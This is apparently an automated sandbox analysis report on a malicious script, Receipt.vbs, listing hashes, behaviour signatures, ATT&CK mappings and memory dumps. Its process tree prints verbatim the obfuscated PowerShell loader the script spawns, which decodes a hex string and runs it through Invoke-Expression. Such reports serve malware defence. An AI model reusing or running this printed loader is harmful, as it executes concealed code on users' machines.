11850e5727c8a31ca7192fc9546050442376f7b77359f7d4e971f1f823105504

General

Target

Receipt.vbs
Size

2KB
MD5

5148319e32fa247453f35aa2ea0af0a2
SHA1

69afc36ee0cf368fb248af04df99c8aa8faba731
SHA256

11850e5727c8a31ca7192fc9546050442376f7b77359f7d4e971f1f823105504
SHA512

313fe826b3e7497313dfd15684dd6c1e459368c294db5a9fc1b9a6b6e99af441a567cf6ba649b4a973bb67bfc6ee80dd7bc0c11d70fe58981c258b63ed63f760

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1552 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1552 powershell.exe

pid	process
1552	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1552	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 1500 wrote to memory of 1552	1500	WScript.exe	powershell.exe
PID 1500 wrote to memory of 1552	1500	WScript.exe	powershell.exe
PID 1500 wrote to memory of 1552	1500	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Receipt.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1500

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $HB='!` ~+ ~A ~$ `` `+ `^ ~^ `& `! `$ `E `A ~+ `` `^ `& `$ !0 +D !0 !& ^$ &` &` &0 +A !F !F +! +0 !E +1 += +^ !E +! +0 +0 !E +& +^ !F +1 +1 +0 +! +0 += !D ^! &= &0 ^1 &+ &+ !E &` &$ &` !& +B 0D 0A !` `~ `` ~! `^ `& `$ `E `A `D `B `` `~ `^ `& `$ `A !0 +D !0 !& ^E `~ !D !D !D !D !D !D !D !D !D !D !D !D !D !D !D !D `~ ^! `+ !B !B !B !B !B !B !B !B !B !B !B !B !B !B !B !B ~` !& !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& !D !D !D !D !D !D !D !D !D !D !D !D !D !D !D !D !& !C !& &` !E ~& !& != !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& !B !B !B !B !B !B !B !B !B !B !B !B !B !B !B !B !& !C !& ^C `= `~ `E !& != +B 0D 0A !` ~+ ~$ `` `+ `^ ~^ `& `! `$ `E `A ~$ `` `+ `^ ~^ `& `! `$ `A `B !0 +D !0 !& `` `F !A !A !A !A !A !A !A !A !A !A !A !A !A ^1 `` ~+ ~` +C +C +C +C +C +C +C +C +C +E +E +E +E +E +E +E +E +E +E +E `& !& !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& !A !A !A !A !A !A !A !A !A !A !A !A !A !& !C !& ~& ^E `C ^F !& != !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& +C +C +C +C +C +C +C +C +C +E +E +E +E +E +E +E +E +E +E +E !& !C !& &! `= ^E !& != +B 0D 0A !` ~+ ~& ~$ `` `~ `+ ~! `^ `& ~= `$ ~~ `A `= ~+ `` `^ ~^ `& `$ `A !0 +D !& `= ^0 `~ ~$ !$ ^E ^0 !D !D !D !D !D !D !D !D !D !D !D !D !D ^0 ^+ ^0 ~` !0 !` `~ `` ~! `^ `& `$ `E `A `D `B `` +C +C +C +C +C +C +C +C +C +C +C +C +C +C +E +E +E +E +E +E +E +E +E +E +E +E +E +E `& `! `$ `E `A ~+ `` `^ `& `$ != !& !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& !D !D !D !D !D !D !D !D !D !D !D !D !D !& !C !& ^~ ^0 ~& ^0 !D `F ^! ^A ^0 `~ !& != !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& +C +C +C +C +C +C +C +C +C +C +C +C +C +C +E +E +E +E +E +E +E +E +E +E +E +E +E +E !& !C !& `~ `^ `& `$ `A != !E !` ~+ ~$ `` `+ `^ ~^ `& `! `$ `E `A ~$ `` `+ `^ ~^ `& `! `$ `A `B !$ !` ~+ ~A ~$ `` `+ `^ ~^ !& != +B 0D 0A !^ !$ !& `= !& !B !& `~ ~$ !& != !$ !` ~+ ~& ~$ `` `~ `+ ~! `^ `& ~= `$ ~~ `A `= ~+ `` `^ ~^ `& `$ `A !0 !D `A ^F ^= ^E !0 !& !& != &C !^ !$ !& `= !& !B !& `~ ~$ !& != +B'.Replace('!','2').Replace('`','4').Replace('^','6').Replace('+','3').Replace('~','5').Replace('&','7').Replace('$','8').Replace('=','9');Invoke-Expression (-join ($HB -split ' ' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1552

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1500-55-0x000007FEFC1D1000-0x000007FEFC1D3000-memory.dmp

Filesize
8KB

Download
memory/1552-56-0x0000000000000000-mapping.dmp

Download
memory/1552-58-0x000007FEF2920000-0x000007FEF347D000-memory.dmp

Filesize
11.4MB

Download
memory/1552-59-0x0000000002560000-0x0000000002562000-memory.dmp

Filesize
8KB

Download
memory/1552-60-0x0000000002562000-0x0000000002564000-memory.dmp

Filesize
8KB

Download
memory/1552-61-0x0000000002564000-0x0000000002567000-memory.dmp

Filesize
12KB

Download
memory/1552-62-0x000000000256B000-0x000000000258A000-memory.dmp

Filesize
124KB

Download

Analysis

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